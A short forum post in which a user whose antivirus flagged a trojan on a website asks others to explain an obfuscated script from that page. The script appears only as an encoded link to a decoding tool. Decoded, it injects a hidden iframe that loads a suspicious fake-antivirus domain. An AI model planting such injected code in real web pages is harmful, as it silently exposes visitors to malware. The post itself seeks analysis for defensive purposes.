I've stumbled upon a website and when the page was loading my antivirus found a trojan. I've managed somehow to view the page contents and I've stumbled upon this script and tried to understand how it's working but the messy functions and var names got my head spinning so here it it maybe someone here can tell what this all about.

and if you're super lazy:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php#PHNjcmlwdD5pZighbXlpYSl7ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoICc8QGRfZW5jXzI%2BJTNjJTY5JTY2JTcyJTYxJTZkJTY1JTIwJTZlJTYxJTZkJTY1JTNkJTYzJTMyJTM2JTIwJTczJTcyJTYzJTNkJTI3JTY4JTc0JTc0JTcwJTNhJTJmJTJmJTYxJTZlJTc0JTY5JTc2JTY5JTcyJTc1JTczJTJlJTc2JTYzJTJmJTNmJTI3JTJiJTRkJTYxJTc0JTY4JTJlJTcyJTZmJTc1JTZlJTY0JTI4JTRkJTYxJTc0JTY4JTJlJTcyJTYxJTZlJTY0JTZmJTZkJTI4JTI5JTJhJTM2JTMzJTMxJTM2JTM4JTI5JTJiJTI3JTM5JTM5JTM1JTI3JTIwJTc3JTY5JTY0JTc0JTY4JTNkJTMzJTM3JTM2JTIwJTY4JTY1JTY5JTY3JTY4JTc0JTNkJTMxJTM2JTM4JTIwJTczJTc0JTc5JTZjJTY1JTNkJTI3JTc2JTY5JTczJTY5JTYyJTY5JTZjJTY5JTc0JTc5JTNhJTY4JTY5JTY0JTY0JTY1JTZlJTI3JTNlJTNjJTJmJTY5JTY2JTcyJTYxJTZkJTY1JTNlPEAvZF9lbmNfMj4nKSk7fXZhciBteWlhPXRydWU7PC9zY3JpcHQ%2B